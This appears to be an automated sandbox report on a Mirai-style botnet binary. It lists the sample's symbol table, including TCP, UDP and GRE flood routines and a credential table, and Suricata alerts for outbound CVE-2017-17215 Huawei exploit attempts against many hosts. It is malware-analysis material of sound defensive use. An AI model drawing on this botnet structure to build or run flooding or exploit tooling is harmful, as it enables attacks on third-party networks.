__lll_lock_wait_private	.symtab	0x15e5c	152	FUNC	<unknown>	HIDDEN	2
__ltdf2	.symtab	0x1b858	140	FUNC	<unknown>	HIDDEN	2
__malloc_consolidate	.symtab	0x146e0	436	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x13780	120	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x27848	24	OBJECT	<unknown>	DEFAULT	13
__malloc_state	.symtab	0x326f4	888	OBJECT	<unknown>	DEFAULT	14
__malloc_trim	.symtab	0x14630	176	FUNC	<unknown>	DEFAULT	2
__muldf3	.symtab	0x1b3b4	656	FUNC	<unknown>	HIDDEN	2
__nedf2	.symtab	0x1b860	132	FUNC	<unknown>	HIDDEN	2
__nptl_deallocate_tsd	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__nptl_nthreads	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__open	.symtab	0x16210	100	FUNC	<unknown>	DEFAULT	2
__open_nocancel	.symtab	0x161f4	24	FUNC	<unknown>	DEFAULT	2
__pagesize	.symtab	0x28078	4	OBJECT	<unknown>	DEFAULT	14
__preinit_array_end	.symtab	0x2770c	0	NOTYPE	<unknown>	HIDDEN	8
__preinit_array_start	.symtab	0x2770c	0	NOTYPE	<unknown>	HIDDEN	8
__progname	.symtab	0x27940	4	OBJECT	<unknown>	DEFAULT	13
__progname_full	.symtab	0x27944	4	OBJECT	<unknown>	DEFAULT	13
__pthread_initialize_minimal	.symtab	0x1a648	12	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_init	.symtab	0x1650c	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x16504	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x16504	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x16504	8	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x16504	8	FUNC	<unknown>	DEFAULT	2
__pthread_unwind	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__read	.symtab	0x16330	100	FUNC	<unknown>	DEFAULT	2
__read_nocancel	.symtab	0x16314	24	FUNC	<unknown>	DEFAULT	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__restore_core_regs	.symtab	0x1c6a0	28	FUNC	<unknown>	HIDDEN	2
__rtld_fini	.symtab	0x28080	4	OBJECT	<unknown>	HIDDEN	14
__sigaddset	.symtab	0x13738	36	FUNC	<unknown>	DEFAULT	2
__sigdelset	.symtab	0x1375c	36	FUNC	<unknown>	DEFAULT	2
__sigismember	.symtab	0x13714	36	FUNC	<unknown>	DEFAULT	2
__sigjmp_save	.symtab	0x1ada4	64	FUNC	<unknown>	HIDDEN	2
__sigsetjmp	.symtab	0x1a73c	12	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x27960	4	OBJECT	<unknown>	DEFAULT	13
__stdio_READ	.symtab	0x1aa74	88	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x1aacc	220	FUNC	<unknown>	HIDDEN	2
__stdio_adjust_position	.symtab	0x1aba8	200	FUNC	<unknown>	HIDDEN	2
__stdio_fwrite	.symtab	0x17f98	320	FUNC	<unknown>	HIDDEN	2
__stdio_rfill	.symtab	0x1ac70	48	FUNC	<unknown>	HIDDEN	2
__stdio_seek	.symtab	0x1ad44	60	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x1aca0	164	FUNC	<unknown>	HIDDEN	2
__stdio_trans2w_o	.symtab	0x182bc	220	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x18398	48	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x27964	4	OBJECT	<unknown>	DEFAULT	13
__subdf3	.symtab	0x1afa0	788	FUNC	<unknown>	HIDDEN	2
__sys_accept	.symtab	0x12fd4	68	FUNC	<unknown>	DEFAULT	2
__sys_connect	.symtab	0x130d0	68	FUNC	<unknown>	DEFAULT	2
__sys_recv	.symtab	0x13254	68	FUNC	<unknown>	DEFAULT	2
__sys_recvfrom	.symtab	0x13308	72	FUNC	<unknown>	DEFAULT	2
__sys_send	.symtab	0x133d8	68	FUNC	<unknown>	DEFAULT	2
__sys_sendto	.symtab	0x1348c	76	FUNC	<unknown>	DEFAULT	2
__syscall_error	.symtab	0x16ad8	44	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_nanosleep	.symtab	0x16f0c	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction	.symtab	0x16bc0	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_select	.symtab	0x1137c	68	FUNC	<unknown>	DEFAULT	2
__tls_get_addr	.symtab	0x1a3f4	36	FUNC	<unknown>	DEFAULT	2
__uClibc_fini	.symtab	0x16548	124	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x16618	88	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x16670	1004	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x2793c	4	OBJECT	<unknown>	HIDDEN	13
__udivsi3	.symtab	0x10d98	252	FUNC	<unknown>	HIDDEN	2
__write	.symtab	0x162a0	100	FUNC	<unknown>	DEFAULT	2
__write_nocancel	.symtab	0x16284	24	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r	.symtab	0x12ea0	268	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__xstat32_conv	.symtab	0x17178	172	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x170ac	204	FUNC	<unknown>	HIDDEN	2
_adjust_pos.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_bss_custom_printf_spec	.symtab	0x27b14	10	OBJECT	<unknown>	DEFAULT	14
_bss_end__	.symtab	0x32aa0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_charpad	.symtab	0x11b34	84	FUNC	<unknown>	DEFAULT	2
_cs_funcs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_custom_printf_arginfo	.symtab	0x3269c	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_handler	.symtab	0x326c4	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_spec	.symtab	0x27844	4	OBJECT	<unknown>	HIDDEN	13
_dl_aux_init	.symtab	0x1a654	56	FUNC	<unknown>	DEFAULT	2
_dl_nothread_init_static_tls	.symtab	0x1a68c	88	FUNC	<unknown>	HIDDEN	2
_dl_phdr	.symtab	0x32a98	4	OBJECT	<unknown>	DEFAULT	14
_dl_phnum	.symtab	0x32a9c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_gaps	.symtab	0x32a8c	1	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_slotinfo_list	.symtab	0x32a88	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_generation	.symtab	0x32a90	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_max_dtv_idx	.symtab	0x32a80	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_setup	.symtab	0x1a38c	104	FUNC	<unknown>	DEFAULT	2
_dl_tls_static_align	.symtab	0x32a7c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_nelem	.symtab	0x32a94	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_size	.symtab	0x32a84	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_used	.symtab	0x32a78	4	OBJECT	<unknown>	DEFAULT	14
_edata	.symtab	0x27a38	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x32aa0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.symtab	0x16c00	104	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x1cf30	0	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x280a4	8192	OBJECT	<unknown>	DEFAULT	14
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fp_out_narrow	.symtab	0x11b88	132	FUNC	<unknown>	DEFAULT	2
_fpmaxtostr	.symtab	0x185c4	2036	FUNC	<unknown>	HIDDEN	2
_fpmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fwrite.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_init	.symtab	0x80d4	0	FUNC	<unknown>	DEFAULT	1
_load_inttype	.symtab	0x183c8	116	FUNC	<unknown>	HIDDEN	2
_load_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_memcpy	.symtab	0x19840	0	FUNC	<unknown>	HIDDEN	2
_ppfs_init	.symtab	0x12300	160	FUNC	<unknown>	HIDDEN	2
_ppfs_init.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_parsespec	.symtab	0x125e8	1392	FUNC	<unknown>	HIDDEN	2
_ppfs_parsespec.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_prepargs	.symtab	0x123a0	68	FUNC	<unknown>	HIDDEN	2
_ppfs_prepargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_setargs	.symtab	0x123e4	432	FUNC	<unknown>	HIDDEN	2
_ppfs_setargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_promoted_size	.symtab	0x12594	84	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_pop_restore	.symtab	0x1651c	44	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x16514	8	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_setjmp	.symtab	0x16b8c	8	FUNC	<unknown>	DEFAULT	2
_sigintr	.symtab	0x326ec	8	OBJECT	<unknown>	HIDDEN	14
_start	.symtab	0x8194	0	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x17b38	1120	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x180d8	128	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x27968	4	OBJECT	<unknown>	DEFAULT	13
_stdio_openlist_add_lock	.symtab	0x28084	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_dec_use	.symtab	0x19018	688	FUNC	<unknown>	HIDDEN	2
_stdio_openlist_del_count	.symtab	0x280a0	4	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_del_lock	.symtab	0x28090	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_use_count	.symtab	0x2809c	4	OBJECT	<unknown>	DEFAULT	14
_stdio_streams	.symtab	0x2796c	204	OBJECT	<unknown>	DEFAULT	13
_stdio_term	.symtab	0x18158	356	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x27950	4	OBJECT	<unknown>	DEFAULT	13
_store_inttype	.symtab	0x1843c	44	FUNC	<unknown>	HIDDEN	2
_store_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_string_syserrmsgs	.symtab	0x1e664	2906	OBJECT	<unknown>	HIDDEN	4
_string_syserrmsgs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2w.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_uintmaxtostr	.symtab	0x18468	348	FUNC	<unknown>	HIDDEN	2
_uintmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_vfprintf_internal	.symtab	0x11c0c	1780	FUNC	<unknown>	HIDDEN	2
_vfprintf_internal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x14b10	296	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
accept	.symtab	0x13018	116	FUNC	<unknown>	DEFAULT	2
accept.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
access	.symtab	0x1104c	64	FUNC	<unknown>	DEFAULT	2
access.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
add_auth_entry	.symtab	0xe590	352	FUNC	<unknown>	DEFAULT	2
attack.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_get_opt_int	.symtab	0x86ac	112	FUNC	<unknown>	DEFAULT	2
attack_get_opt_ip	.symtab	0x8640	108	FUNC	<unknown>	DEFAULT	2
attack_gre.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_gre_eth	.symtab	0x8ab0	1684	FUNC	<unknown>	DEFAULT	2
attack_gre_ip	.symtab	0x9144	1564	FUNC	<unknown>	DEFAULT	2
attack_init	.symtab	0x871c	916	FUNC	<unknown>	DEFAULT	2
attack_kill_all	.symtab	0x82cc	344	FUNC	<unknown>	DEFAULT	2
attack_ongoing	.symtab	0x27a5c	32	OBJECT	<unknown>	DEFAULT	14
attack_parse	.symtab	0x8424	540	FUNC	<unknown>	DEFAULT	2
attack_start	.symtab	0x81d0	252	FUNC	<unknown>	DEFAULT	2
attack_std	.symtab	0x9760	672	FUNC	<unknown>	DEFAULT	2
attack_std.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_tcp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_tcp_ack	.symtab	0xa1b4	1784	FUNC	<unknown>	DEFAULT	2
attack_tcp_bypass	.symtab	0xaf58	860	FUNC	<unknown>	DEFAULT	2
attack_tcp_stomp	.symtab	0x9a00	1972	FUNC	<unknown>	DEFAULT	2
attack_tcp_syn	.symtab	0xa8ac	1708	FUNC	<unknown>	DEFAULT	2
attack_udp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_udp_bypass	.symtab	0xb2b4	556	FUNC	<unknown>	DEFAULT	2
attack_udp_generic	.symtab	0xbbb8	1260	FUNC	<unknown>	DEFAULT	2
attack_udp_plain	.symtab	0xb4e0	672	FUNC	<unknown>	DEFAULT	2
attack_udp_vse	.symtab	0xb780	1080	FUNC	<unknown>	DEFAULT	2
auth_table	.symtab	0x27b08	4	OBJECT	<unknown>	DEFAULT	14
auth_table_len	.symtab	0x27adc	4	OBJECT	<unknown>	DEFAULT	14
auth_table_max_weight	.symtab	0x27b0c	2	OBJECT	<unknown>	DEFAULT	14
been_there_done_that	.symtab	0x27b20	4	OBJECT	<unknown>	DEFAULT	14
bind	.symtab	0x1308c	68	FUNC	<unknown>	DEFAULT	2
bind.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
brk	.symtab	0x1a6e4	88	FUNC	<unknown>	DEFAULT	2
brk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
bsd_signal	.symtab	0x13650	196	FUNC	<unknown>	DEFAULT	2
buffer	.symtab	0x2a5ec	32768	OBJECT	<unknown>	DEFAULT	14
calloc	.symtab	0x14130	320	FUNC	<unknown>	DEFAULT	2
calloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
chdir	.symtab	0x1108c	56	FUNC	<unknown>	DEFAULT	2
chdir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum_generic	.symtab	0xc0a4	80	FUNC	<unknown>	DEFAULT	2
checksum_tcpudp	.symtab	0xc0f4	164	FUNC	<unknown>	DEFAULT	2
clock	.symtab	0x1199c	52	FUNC	<unknown>	DEFAULT	2
clock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
close	.symtab	0x16180	100	FUNC	<unknown>	DEFAULT	2
closedir	.symtab	0x11540	272	FUNC	<unknown>	DEFAULT	2
closedir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
completed.5105	.symtab	0x27a38	1	OBJECT	<unknown>	DEFAULT	14
conn_table	.symtab	0x27ab0	4	OBJECT	<unknown>	DEFAULT	14
conn_table	.symtab	0x32604	4	OBJECT	<unknown>	DEFAULT	14
connect	.symtab	0x13114	116	FUNC	<unknown>	DEFAULT	2
connect.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dl-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ensure_single_instance	.symtab	0xd410	356	FUNC	<unknown>	DEFAULT	2
environ	.symtab	0x28074	4	OBJECT	<unknown>	DEFAULT	14
errno	.symtab	0x0	4	TLS	<unknown>	DEFAULT	8
errno.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exit	.symtab	0x1525c	196	FUNC	<unknown>	DEFAULT	2
exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exp10_table	.symtab	0x1f590	72	OBJECT	<unknown>	DEFAULT	4
fake_time	.symtab	0x27b10	4	OBJECT	<unknown>	DEFAULT	14
fclose	.symtab	0x177e8	816	FUNC	<unknown>	DEFAULT	2
fclose.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fcntl	.symtab	0x10f58	244	FUNC	<unknown>	DEFAULT	2

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T17:42:38.606153+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38136	37215	192.168.2.15	41.11.77.213
2024-07-26T17:42:23.034146+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46624	37215	192.168.2.15	197.114.251.28
2024-07-26T17:42:22.964048+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42956	37215	192.168.2.15	157.31.97.126
2024-07-26T17:42:24.652743+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55216	37215	192.168.2.15	197.224.46.253
2024-07-26T17:43:24.644108+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40454	37215	192.168.2.15	197.172.148.101
2024-07-26T17:42:38.401570+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58766	37215	192.168.2.15	53.253.80.54
2024-07-26T17:43:10.649976+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43250	37215	192.168.2.15	157.96.243.165
2024-07-26T17:42:03.752068+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40996	37215	192.168.2.15	197.42.62.225
2024-07-26T17:42:23.602358+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60884	37215	192.168.2.15	197.132.136.99
2024-07-26T17:43:10.506478+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42294	37215	192.168.2.15	197.52.119.244
2024-07-26T17:42:24.200167+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52598	37215	192.168.2.15	173.34.24.153
2024-07-26T17:42:30.926428+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51110	37215	192.168.2.15	200.204.65.34
2024-07-26T17:42:22.988608+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58670	37215	192.168.2.15	157.198.230.178
2024-07-26T17:42:23.602102+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35256	37215	192.168.2.15	23.114.18.67
2024-07-26T17:42:09.449482+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35634	37215	192.168.2.15	197.121.140.141
2024-07-26T17:42:24.221999+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56024	37215	192.168.2.15	52.4.140.64
2024-07-26T17:42:23.326651+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55986	37215	192.168.2.15	1.148.239.73
2024-07-26T17:43:26.476272+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59712	37215	192.168.2.15	197.6.38.74
2024-07-26T17:43:04.748495+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40296	37215	192.168.2.15	157.208.245.162
2024-07-26T17:42:24.475233+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35542	37215	192.168.2.15	187.2.62.124
2024-07-26T17:42:22.966091+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45270	37215	192.168.2.15	197.54.40.22
2024-07-26T17:43:19.129689+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33088	37215	192.168.2.15	146.234.54.178
2024-07-26T17:43:32.301159+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33010	37215	192.168.2.15	157.100.204.20
2024-07-26T17:43:34.899760+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45998	37215	192.168.2.15	71.89.91.135
2024-07-26T17:42:33.042545+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34332	37215	192.168.2.15	41.90.26.243
2024-07-26T17:43:00.662098+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42984	37215	192.168.2.15	157.77.196.3
2024-07-26T17:42:23.204533+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60956	37215	192.168.2.15	197.225.190.134
2024-07-26T17:42:03.751984+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48768	37215	192.168.2.15	41.108.36.195
2024-07-26T17:42:23.105182+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59276	37215	192.168.2.15	103.70.219.127
2024-07-26T17:42:24.293761+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42424	37215	192.168.2.15	223.164.117.74
2024-07-26T17:42:22.977903+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58488	37215	192.168.2.15	197.47.175.40
2024-07-26T17:42:45.131370+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37840	37215	192.168.2.15	157.249.74.117
2024-07-26T17:42:24.474935+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49618	37215	192.168.2.15	157.79.31.23
2024-07-26T17:42:44.306039+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47198	37215	192.168.2.15	41.253.34.178
2024-07-26T17:42:38.390099+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40364	37215	192.168.2.15	157.145.67.197
2024-07-26T17:42:58.924546+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42158	37215	192.168.2.15	157.247.1.77
2024-07-26T17:42:53.132234+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44386	37215	192.168.2.15	41.248.56.111
2024-07-26T17:43:04.732612+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43966	37215	192.168.2.15	197.242.49.62
2024-07-26T17:42:24.256365+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52438	37215	192.168.2.15	41.150.32.89
2024-07-26T17:43:10.504004+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46722	37215	192.168.2.15	41.197.157.202
2024-07-26T17:42:54.163417+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32780	37215	192.168.2.15	41.191.236.68
2024-07-26T17:42:27.004016+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58502	37215	192.168.2.15	157.233.107.214
2024-07-26T17:42:22.846531+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50092	37215	192.168.2.15	197.113.28.145
2024-07-26T17:42:38.374536+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40700	37215	192.168.2.15	34.4.180.184
2024-07-26T17:42:07.666081+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47732	37215	192.168.2.15	197.220.2.67
2024-07-26T17:42:24.173602+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40758	37215	192.168.2.15	41.179.100.167
2024-07-26T17:42:24.474723+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35754	37215	192.168.2.15	72.194.119.143
2024-07-26T17:43:00.630205+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33072	37215	192.168.2.15	41.108.106.69
2024-07-26T17:43:02.573716+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54620	37215	192.168.2.15	157.154.246.111
2024-07-26T17:43:32.169236+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39342	37215	192.168.2.15	157.52.106.58
2024-07-26T17:43:10.690145+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36816	37215	192.168.2.15	157.83.167.52
2024-07-26T17:42:03.751852+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51664	37215	192.168.2.15	41.17.40.71
2024-07-26T17:42:22.901285+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41604	37215	192.168.2.15	41.160.9.226
2024-07-26T17:43:00.561044+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57554	37215	192.168.2.15	41.213.22.193
2024-07-26T17:43:32.160228+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55488	37215	192.168.2.15	41.221.99.246
2024-07-26T17:42:33.008864+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39524	37215	192.168.2.15	175.131.176.14
2024-07-26T17:43:34.312161+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38930	37215	192.168.2.15	41.153.156.251
2024-07-26T17:42:19.315465+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50864	37215	192.168.2.15	197.149.180.3
2024-07-26T17:43:04.642054+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48604	37215	192.168.2.15	197.156.173.119
2024-07-26T17:42:23.034149+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37412	37215	192.168.2.15	41.160.147.129
2024-07-26T17:42:24.287275+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60618	37215	192.168.2.15	38.110.93.103
2024-07-26T17:42:46.396192+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34504	37215	192.168.2.15	60.31.131.14
2024-07-26T17:43:00.567662+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57910	37215	192.168.2.15	157.95.126.83
